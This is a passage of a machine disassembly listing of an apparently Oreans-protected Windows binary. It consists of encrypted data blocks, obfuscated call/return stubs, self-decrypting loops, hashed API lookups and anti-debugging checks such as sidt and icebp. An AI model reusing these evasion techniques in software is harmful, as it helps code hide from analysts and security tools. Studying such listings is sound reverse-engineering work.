		dd 0FFFAB1D1h, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 50E44EF0h, 0E8FCF007h
		dd 5, 621A92D0h, 1D9D299Eh, 5905D10Dh, 6A006Ah,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8D89D4C3h, 5D11CB9h,	242595FFh, 0BF0F05D1h, 8BF38BD7h
		dd 0D108C98Dh, 0C858D05h, 0BF05D39Bh, 2A0514D0h, 0E88AD0FFh
		dd 95FF006Ah, 5D12425h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 1CC35343h, 52B0AC8Ch,	28BF6653h, 89C08BB4h
		dd 0D121C585h, 71BD8305h, 5D116h, 0BD830975h, 5D1121Dh
		dd 50197400h, 0B8C08B53h, 7D9h,	14098589h, 9D8D05D1h, 5D3A1CDh
		dd 585BD3FFh, 121DBD83h, 740005D1h, 0B8535017h,	7D9h, 14098589h
		dd 9D8D05D1h, 5D39EBCh,	585BD3FFh, 13D9D29h, 8B6005D1h
		dd 0D111359Dh, 0F58D2905h, 6105D127h, 0DE9h, 9CB2F900h
		dd 40BF640h, 499D0DE6h,	0C08BBE61h, 22698589h, 235005D1h
		dd 0D10B45BDh, 6AD88B05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 5A1EC350h, 6520ADBDh
		dd 852991D9h, 5D11781h,	0DD9D8D53h, 8B05D12Ch, 8B038903h
		dd 43895043h, 7E9D8D50h, 8B05D3EEh, 5B038903h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0AC35747h, 5D898605h
		dd 0DD8D8B75h, 5605D115h, 3CF236BAh, 14E95A07h,	24000000h
		dd 0DCDFC059h, 0A99E8C06h, 0A0B61C09h, 461E11E6h, 6A688575h
		dd 0C1B58900h, 8D05D121h, 0D3EE7E85h, 0A5BD8B05h, 8005D12Dh
		dd 6A5089C1h, 898D8B60h, 8D05D108h, 0D12CDD85h,	51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0B1220407h, 9DB7C7C0h, 8E97Bh, 2BE0000h, 0EBE82EC0h
		dd 11E96329h, 33000000h, 21E24685h, 4EC4C038h, 6B965D70h
		dd 93E10279h, 0E9BA6050h, 8B67C4E9h, 6AFC61D7h,	0C59D8900h
		dd 6A05D106h, 71952B00h, 3105D127h, 0D11055BDh,	18006805h
		dd 9D290000h, 5D1133Dh,	3870F53h, 0F000000h, 95FFD3B7h
		dd 5D10D21h, 21D9D89h, 95FF05D1h, 5D11D39h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0DBC35545h, 873A0D05h
		dd 31D31788h, 0D11D9995h, 0E5B5FF05h, 0FF05D3EEh, 0D10EDD95h
		dd 51852905h, 8D05D123h, 0D12CDD85h, 0F7816605h, 408B58A6h
		dd 56006A18h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 5185C7EDh, 5D122h, 0E8000000h, 0Ch, 768E0D11h
		dd 3A22AFEBh, 496C0CA6h, 22F98589h, 835A05D1h, 0D11FC1BDh
		dd 840F0005h, 5Eh, 79958B60h, 0F05D11Fh, 680h, 118D8900h
		dd 6105D124h, 1C318D8Bh, 8C3D05D1h, 0F000000h, 1C783h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 1FE4AB1Ch, 80185DEAh, 0E9D78B7Dh, 1Eh, 7DB58951h
		dd 5905D132h, 12D1BD0Bh, 963D05D1h, 0F000000h, 18383h
		dd 0E739BF00h, 858D1C3Bh, 5AF59Fh, 2890Fh, 0EFB20000h
		dd 961958Bh, 0D0FF05D1h, 6850Fh, 95290000h, 5D109A1h, 0EFF2858Dh
		dd 0CA80005Ah, 0A18D8B35h, 0FF05D121h, 66C08BD0h, 0C29FCA81h
		dd 10E9h, 0A7B1F300h, 6FDAB35Dh, 1869D6C3h, 22F7E7ECh
		dd 71BD83B2h, 5D116h, 0BD830975h, 5D1121Dh, 50197400h
		dd 0B8C08B53h, 0BC6h, 14098589h, 9D8D05D1h, 5D3A1CDh, 585BD3FFh
		dd 121DBD83h, 740005D1h, 0B8535017h, 0BC6h, 14098589h
		dd 9D8D05D1h, 5D39EBCh,	585BD3FFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0C4C35646h,	2E3CCDCDh, 0EDFDEB2Ch
		dd 758D2378h, 905D122h,	0D1270185h, 62BA6005h, 0F5CE94Eh
		dd 8B61CFB7h, 6850FC0h,	81000000h, 9E39DBC7h, 0FFF88368h
		dd 70850Fh, 0BD8B0000h,	5D10F99h, 21FD85C7h, 5D1h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0D623D1C3h, 0E8760D89h, 0C88BD303h, 0EBE9h, 459D0100h
		dd 0E905D102h, 44h, 0AE860h, 0C8360000h, 0A6EF2097h, 0C6DC9F6Fh
		dd 5BD18B66h, 10E9h, 83D03700h,	94B31768h, 7C96F406h, 740082B0h
		dd 0F8836169h, 11850F01h, 0E9000000h, 0EAh, 1E41BD33h
		dd 0D28105D1h, 15C06CBEh, 0FFF0FAE9h, 0D38B66FFh, 0BF66C08Bh
		dd 0BD839C34h, 5D11671h, 83097500h, 0D1121DBDh,	19740005h
		dd 0C08B5350h, 7DDB8h, 9858900h, 8D05D114h, 0D3A1CD9Dh
		dd 5BD3FF05h, 1DBD8358h, 5D112h, 53501774h, 7DDB8h, 9858900h
		dd 8D05D114h, 0D39EBC9Dh, 5BD3FF05h, 9E95758h, 0C2000000h
		dd 18DDD3h, 27ED122Ah, 0DE959h,	0D0830000h, 0CF7D779Fh
		dd 0ED93CA09h, 8BEB04BEh, 6850FC0h, 81000000h, 9C682CAh
		dd 0BD8B574Ah, 5D102D9h, 283E95Fh, 8D8B0000h, 5D10F41h
		dd 0EC82858Dh, 9E905D3h, 0C4000000h, 22A780A2h,	54680A82h
		dd 0EE7A8589h, 0B58905D3h, 5D10625h, 76E9h, 12E800h, 0FA8B0000h
		dd 4875AB5Bh, 0AAA30FDDh, 0A0637402h, 8D71404Dh, 0A8D28166h
		db 0E6h, 5Fh
; ---------------------------------------------------------------------------


loc_59BC72:				; CODE XREF: ud2_____:0059B651j
		lea	eax, [ebp+5D3EA8Ah]
		push	0
		push	edi
		call	sub_59BC83
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BC83	proc near		; CODE XREF: ud2_____:0059BC7Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_59BC83	endp

; ---------------------------------------------------------------------------
		cmc
		cmp	bl, [edi+40h]
		push	0
		push	ecx
		call	sub_59BCA2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BCA2	proc near		; CODE XREF: ud2_____:0059BC9Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_59BCA2	endp

; ---------------------------------------------------------------------------
		sub	ecx, [edi]
		add	dword ptr [esi], 29000000h
		xchg	eax, ebp
		sbb	[ecx], edx
		rol	dword ptr ds:0EE7A8589h, 1
		rol	dword ptr ds:0B966D18Bh, cl
		dec	ebp
		les	ebp, [edx+34h]
		lea	eax, [ebp+5D11C39h]
		push	eax
		push	dword ptr [ebp+5D3EE7Ah]
		push	0
		call	dword ptr [ebp+5D12509h]
		cmp	eax, 7
		jz	loc_59BE4D
		mov	bx, ds
		test	bl, 4
		jnz	loc_59BDF3
		mov	byte ptr [ebp+5D124D9h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+5D3EEEDh],	eax
		mov	byte ptr [ebp+5D124D9h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+5D124D9h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+5D113F9h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		lea	ebx, [ebp+5D3EEE9h]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+5D124D9h], 41h
		push	0DB876498h
		push	dword ptr [ebp+5D113F9h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		mov	[ebp+5D3EF06h],	eax
		mov	byte ptr [ebp+5D124D9h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+5D113F9h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		mov	ebx, [ebp+5D3EEEDh]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+5D3EEF2h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+5D3EEEDh]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	dword ptr [ebp+5D10AFDh], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+5D3EEEDh]
		push	ebx
		push	0
		push	dword ptr [ebp+5D3EEE9h]
		call	dword ptr [ebp+5D3EF06h]


loc_59BDF3:				; CODE XREF: ud2_____:0059BCF1j
		mov	byte ptr [ebp+5D124D9h], 45h
		push	92A5F797h
		push	dword ptr [ebp+5D10829h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_59BE4D
		mov	ebx, [ebp+5D3EEEDh]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+5D3EEEDh]
		push	ebx
		push	0
		push	dword ptr [ebp+5D3EEE9h]
		call	dword ptr [ebp+5D3EF06h]
		push	dword ptr [ebp+5D3EEE9h]
		call	dword ptr [ebp+5D11D39h]


loc_59BE4D:				; CODE XREF: ud2_____:0059BCE5j
					; ud2_____:0059BE19j
		push	0
		call	dword ptr [ebp+5D12425h]
		push	0
		push	edi
		call	sub_59BE60
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BE60	proc near		; CODE XREF: ud2_____:0059BE58p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_59BE60	endp

; ---------------------------------------------------------------------------
		dd 66B78AF2h, 41A77598h, 8D2BE038h, 5D113B1h, 964A0ABAh
		dd 57006A0Dh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 59EA838Ah, 93154BDEh, 44BA66A6h,	0C2858DB4h
		dd 0F05D421h, 6050FABFh, 18CD858Bh, 0E3B005D1h,	35FF6461h
		dd 0
		dd 6E8h, 889D7200h, 8B0515EDh, 830F5AD7h, 6, 11198D01h
		dd 896405D1h, 25h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 62714FF3h, 9D898D03h
		dd 5D1242Dh, 1E4D9589h,	0BD8305D1h, 5D12A69h, 57840F00h
		dd 83000000h, 0D120E9BDh, 850F0105h, 4Ah, 13318D8Bh, 0BD8005D1h
		dd 5D3F306h, 37850F00h,	66000000h, 7A0ED981h, 166E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0BE9DA013h, 8C0F0434h, 6, 0F8D9589h,	0DB3305D1h, 66C033F5h
		dd 0F40F98Bh, 640B073Fh, 58Fh, 0C4830000h, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 4D60347Ah, 85B15880h, 7E9h, 0DD6A8C00h, 4285A7E9h, 0FFFFB83h
		dd 1184h, 0DBE900h, 0E7810000h,	799B5465h, 30958589h, 56E905D1h
		dd 0E9000000h, 6, 6B867782h, 4C8B4889h,	81C70C24h, 0A4h
		dd 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D421E4h
		mov	eax, [ebx+0B8h]
		lea	eax, [ebp+5D4228Bh]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		sub	[ebp+5D11F61h],	eax
		movzx	edx, dx
		mov	cx, si
		lea	eax, [ebp+5D421DAh]
		push	0
		push	edi
		call	sub_59C046
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C046	proc near		; CODE XREF: ud2_____:0059C03Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_59C046	endp

; ---------------------------------------------------------------------------
		dw 0FDC5h
		dd 830F9657h, 5, 0D18B6657h, 0C8BA6659h, 8B665058h, 35FF64F8h
		dd 0
		dd 8964CB8Bh, 25h, 0C5BF6600h, 0AB9A3h,	4B80000h, 54855D7h
		dd 0DF78164h, 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h
		dd 68FB81EDh, 75564D58h, 5D85C70Ah, 105D100h, 64000000h
		dd 58Fh, 0C4830000h, 48E0F04h, 66000000h, 60F2C2BAh, 6581EF81h
		dd 81661377h, 61E4BAE9h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 52FCD7C3h, 7198E207h
		dd 71BD83F5h, 5D116h, 0BD830975h, 5D1121Dh, 50197400h
byte_59C10C	db 53h			; DATA XREF: sub_5C3336+1E6r
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		mov	eax, 43Dh
		mov	[ebp+5D1102Dh],	eax
		lea	ebx, [ebp+5D3A234h]
		call	ebx	; WideCharToMultiByte
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+5D1121Dh], 0
		jz	short loc_59C144
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+5D1102Dh],	eax
		lea	ebx, [ebp+5D39ED5h]
		call	ebx	; WideCharToMultiByte
		pop	ebx
		pop	eax


loc_59C144:				; CODE XREF: ud2_____:0059C12Bj
		sub	[ebp+5D12335h],	ebx
		push	0
		push	edi
		call	sub_59C155
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C155	proc near		; CODE XREF: ud2_____:0059C14Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_59C155	endp

; ---------------------------------------------------------------------------
		db 0A6h, 94h, 6Bh
; ---------------------------------------------------------------------------
		jmp	loc_59C179
; ---------------------------------------------------------------------------
		test	edx, 0E242DBB4h
		lds	edi, [eax]
		movsb
		mov	bl, 0F3h
		dec	ecx


loc_59C179:				; CODE XREF: ud2_____:0059C168j
		jp	loc_59C183
		mov	di, 0DF45h


loc_59C183:				; CODE XREF: ud2_____:loc_59C179j
		mov	eax, eax
		jmp	loc_59C2C4
; ---------------------------------------------------------------------------
		dw 4
		dd 2E310000h, 353538h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_59C2C4:				; CODE XREF: ud2_____:0059C185j
		cmp	dword ptr [ebp+5D115B9h], 0
		jz	loc_59C3FE
		lea	eax, [ebp+5D39CECh]
		push	eax
		lea	eax, [ebp+5D39C56h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+5D39CFCh]
		lea	eax, [ebp+5D42362h]
		push	eax
		lea	eax, [ebp+5D4236Ch]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+5D39C6Ah]
		push	eax
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D118BDh]
		lea	eax, [ebp+5D42362h]
		push	eax
		lea	eax, [ebp+5D42370h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+5D39C7Ch]
		push	eax
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D118BDh]
		lea	eax, [ebp+5D42362h]
		push	eax
		lea	eax, [ebp+5D4237Ch]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+5D39CC9h]
		push	eax
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D118BDh]
		lea	eax, [ebp+5D42362h]
		push	eax
		lea	eax, [ebp+5D42384h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+5D39CE7h]
		push	eax
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D118BDh]
		lea	eax, [ebp+5D42362h]
		push	eax
		lea	eax, [ebp+5D42380h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+5D39CD0h]
		push	eax
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D118BDh]
		lea	eax, [ebp+5D42362h]
		push	eax
		lea	eax, [ebp+5D42374h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+5D39CD8h]
		push	eax
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D118BDh]
		lea	eax, [ebp+5D42362h]
		push	eax
		lea	eax, [ebp+5D42378h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+5D39CDFh]
		push	eax
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D118BDh]
		push	dword ptr [ebp+5D39CECh]
		call	dword ptr [ebp+5D12305h]
		jmp	loc_59C4A0
; ---------------------------------------------------------------------------


loc_59C3FE:				; CODE XREF: ud2_____:0059C2CBj
		cmp	dword ptr [ebp+5D11D11h], 0
		jz	loc_59C4A0
		cmp	dword ptr [ebp+5D120E9h], 0
		jnz	loc_59C429
		mov	edx, [ebp+5D118A9h]
		add	edx, 1CF8h
		jmp	loc_59C438
; ---------------------------------------------------------------------------


loc_59C429:				; CODE XREF: ud2_____:0059C412j
		lea	edx, [ebp+5D12CDDh]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_59C438:				; CODE XREF: ud2_____:0059C424j
		mov	[ebp+5D126ADh],	edx
		cmp	dword ptr [ebp+5D126ADh], 0
		jz	loc_59C4A0
		mov	ebx, [ebp+5D126ADh]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+5D4236Ch],	eax
		mov	ebx, [ebp+5D126ADh]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+5D42370h],	eax
		mov	ebx, [ebp+5D126ADh]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+5D4237Ch],	eax
		mov	ebx, [ebp+5D126ADh]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+5D42380h],	eax
		mov	ebx, [ebp+5D126ADh]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+5D42374h],	eax


loc_59C4A0:				; CODE XREF: ud2_____:0059C3F9j
					; ud2_____:0059C405j ...
		cmp	dword ptr [ebp+5D115B9h], 0
		jnz	loc_59C4BA
		cmp	dword ptr [ebp+5D11D11h], 0
		jz	loc_59C522


loc_59C4BA:				; CODE XREF: ud2_____:0059C4A7j
		push	dword ptr [ebp+5D42384h]
		push	dword ptr [ebp+5D42378h]
		push	dword ptr [ebp+5D42374h]
		push	dword ptr [ebp+5D42380h]
		push	dword ptr [ebp+5D4237Ch]
		push	dword ptr [ebp+5D42370h]
		push	dword ptr [ebp+5D4236Ch]
		lea	eax, [ebp+5D42366h]
		push	eax
		lea	eax, [ebp+5D4239Eh]
		push	eax
		lea	eax, [ebp+5D12815h]
		push	eax
		call	dword ptr [ebp+5D11D49h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+5D42388h]
		push	eax
		lea	eax, [ebp+5D12815h]
		push	eax
		push	0
		call	dword ptr [ebp+5D12509h]
		push	1
		call	dword ptr [ebp+5D12425h]


loc_59C522:				; CODE XREF: ud2_____:0059C4B4j
		mov	eax, ecx
		call	near ptr sub_59C538
		sbb	al, 49h
		mov	ds:790EC53h, al
		mov	al, 27h
		in	eax, 0A7h	; Interrupt Controller #2, 8259A
		icebp
		xor	al, 71h
		pop	ecx

; =============== S U B	R O U T	I N E =======================================



sub_59C538	proc far		; CODE XREF: ud2_____:0059C524p
		mov	ax, bx
		pop	edx
		mov	al, 1
		add	edx, 5CA8h
		jnz	loc_59C552
		pusha
		jbe	$+6
		popa


loc_59C552:				; CODE XREF: sub_59C538+Cj
		mov	ebx, 0
		jmp	loc_59C569
; ---------------------------------------------------------------------------
		and	[esi], esp
		retf
; ---------------------------------------------------------------------------
		db 2
; ---------------------------------------------------------------------------
		or	edx, [eax-0DE11AD4h]
		retn
; ---------------------------------------------------------------------------
		db 2Bh
		db 8Fh
; ---------------------------------------------------------------------------


loc_59C569:				; CODE XREF: sub_59C538+1Fj
					; sub_59C59F:loc_59C5E4j
		mov	esi, [edx+ebx]
		xor	esi, 311D0BBBh
		or	ecx, 0E4B4117h
		sub	esi, 6570B339h
		cld
		xor	esi, 2846DD99h
		mov	ax, 9D66h
		mov	[edx+ebx], esi
		mov	al, 0E0h
		call	near ptr sub_59C59F
		xor	bl, ah
		jmp	short loc_59C5E4
sub_59C538	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 69h
		dd 0D8A93F25h
		db 76h,	0CDh, 0F7h

; =============== S U B	R O U T	I N E =======================================



sub_59C59F	proc far		; CODE XREF: sub_59C538+56p

var_3E		= dword	ptr -3Eh
var_36		= dword	ptr -36h
var_32		= dword	ptr -32h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_6		= byte ptr -6

; FUNCTION CHUNK AT 00571A63 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 00571DB8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00573072 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057354E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005738F2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00573D76 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005746D6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00575B57 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00575E9E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00575F28 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00576901 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00577953 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00578556 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005791B2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005797BF SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00579990 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00579F45 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057A9D0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057B27E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057B2CB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057CB20 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057CE6B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057DA8E SIZE 00000011 BYTES

		pusha
		add	edi, 7E90324Bh
		clc
		popa
		pop	ecx
		sub	ebx, 0E413326h
		or	di, 2378h
		add	ebx, 0E413322h
		movzx	edi, ax
		cmp	ebx, 0FFFFA41Ch
		jnz	loc_59C5DE
		mov	edi, edx
		jmp	loc_59C5F1
; ---------------------------------------------------------------------------
		dd 1A7075E3h, 7BD445B8h, 3A2B10C9h
		db 35h,	58h
; ---------------------------------------------------------------------------


loc_59C5DE:				; CODE XREF: sub_59C59F+24j
		jp	$+6


loc_59C5E4:				; CODE XREF: sub_59C538+5Dj
		jmp	loc_59C569
; ---------------------------------------------------------------------------
		db 0E4h, 0B7h, 90h
		dd 0F6C7C938h
; ---------------------------------------------------------------------------
		push	eax


loc_59C5F1:				; CODE XREF: sub_59C59F+2Cj
		jmp	short loc_59C60B
; ---------------------------------------------------------------------------
		db 17h
		dd 9B46F3h, 4 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_59C60B:				; CODE XREF: sub_59C59F:loc_59C5F1j
		jmp	loc_59C81B
; ---------------------------------------------------------------------------


loc_59C610:				; CODE XREF: sub_59C59F+86j
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 5D427F2h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_59C610
; ---------------------------------------------------------------------------


loc_59C62A:				; CODE XREF: sub_59C59F+90j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_59C62A
; ---------------------------------------------------------------------------


loc_59C634:				; CODE XREF: sub_59C59F+9Aj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_59C634
; ---------------------------------------------------------------------------


loc_59C63E:				; CODE XREF: sub_59C59F+A4j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_59C63E
; ---------------------------------------------------------------------------


loc_59C648:				; CODE XREF: sub_59C59F+AEj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_59C648
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 61600000h, 0FFF8E9C3h, 0B58BFFFFh, 5D4282Ah,	0F000E681h
		dd 0BE9FFFFh, 0E8000000h, 19h, 1000C681h, 0B53B0000h, 5D4282Eh
		dd 0FFE9860Fh, 200FFFFFh, 0D8220FD8h, 0C36160CFh, 0C88C6650h
		dd 0C00A0324h, 19840Fh,	53500000h, 2BBh, 0AD858B00h, 8605D126h
		dd 0FDB0A18h, 0FFFFF685h, 58585BFFh, 0C32404FFh, 0FFFFCFE9h
		dd 74FF50FFh, 95FF0824h, 5D10CEDh, 4C010F50h, 8358FE24h
		dd 8B531CC0h, 660C245Ch, 66FC5889h, 5B025889h, 24C88C66h
		dd 0FC00A03h, 984h, 0AD858B00h,	0C605D126h, 0FF580000h
		dd 4C22404h, 0FFBBE900h, 5053FFFFh, 80CB8C66h, 0DB0A03E3h
		dd 38840Fh, 2BB0000h, 8B000000h, 0D126AD85h, 0A188605h
		dd 0F6850FDBh, 0C7FFFFFFh, 0D108DD85h, 5, 24448B00h, 988B08h
		dd 89000010h, 100098h, 89188B00h, 0AE918h, 85C70000h, 5D108DDh
		dd 100h, 4FF5B58h, 0A3E9C324h, 60FFFFFFh, 0F003E80h, 3184h
		dd 0B7A1BB00h, 1B0763Ah, 13E901B1h, 0AC000000h,	0C302C88Ah
		dd 0CBD1C332h, 0FD20BAAh, 184h,	0C90A4A00h, 0FFE5850Fh
		dd 0D20BFFFFh, 0FFDD850Fh, 0C361FFFFh, 57D48B52h, 33087A8Bh
		dd 1E9C0h, 80AA0000h, 850F003Fh, 0FFFFFFF6h, 4C25A5Fh
		dd 56515300h, 0DB33C033h, 10E9h, 0D833AC00h, 0C381D3D1h
		dd 37465ABCh, 0D3D3C88Ah, 0FC90B49h, 0FFFFE885h, 5EC38BFFh
		dd 60C35B59h, 3AB7A1BBh, 0E901B076h, 11h, 2AC332ACh, 0AACBD1C3h
		dd 840FD20Bh, 1, 0FC00A4Ah, 0FFFFE785h,	0FD20BFFh, 0FFFFDF85h
; ---------------------------------------------------------------------------
		jmp	dword ptr [ecx-3Dh]
; ---------------------------------------------------------------------------


loc_59C81B:				; CODE XREF: sub_59C59F:loc_59C60Bj
		mov	ax, ds
		test	al, 4
		jz	loc_59C84F
		mov	dword ptr [ebp+5D427CFh], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+5D427D3h]
		lea	eax, [ebp+5D427CBh]
		lea	edi, [ebp+5D427D3h]
		mov	[eax], edi
		jmp	loc_59C872
; ---------------------------------------------------------------------------


loc_59C84F:				; CODE XREF: sub_59C59F+281j
		lea	eax, [ebp+5D12CDDh]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+5D427CBh],	eax
		lea	eax, [ebp+5D12CDDh]
		mov	eax, [eax+3Ch]
		mov	[ebp+5D427CFh],	eax


loc_59C872:				; CODE XREF: sub_59C59F+2ABj
		lea	eax, [ebp+5D427E8h]
		mov	[ebp+5D10CEDh],	eax
		jmp	loc_59C90A
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_59C89E
; ---------------------------------------------------------------------------


loc_59C897:				; CODE XREF: sub_59C59F+301j
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_59C89E:				; CODE XREF: sub_59C59F+2F3j
		cmp	esi, edi
		jb	loc_59C897
		popa
		pop	edx
		retn	8
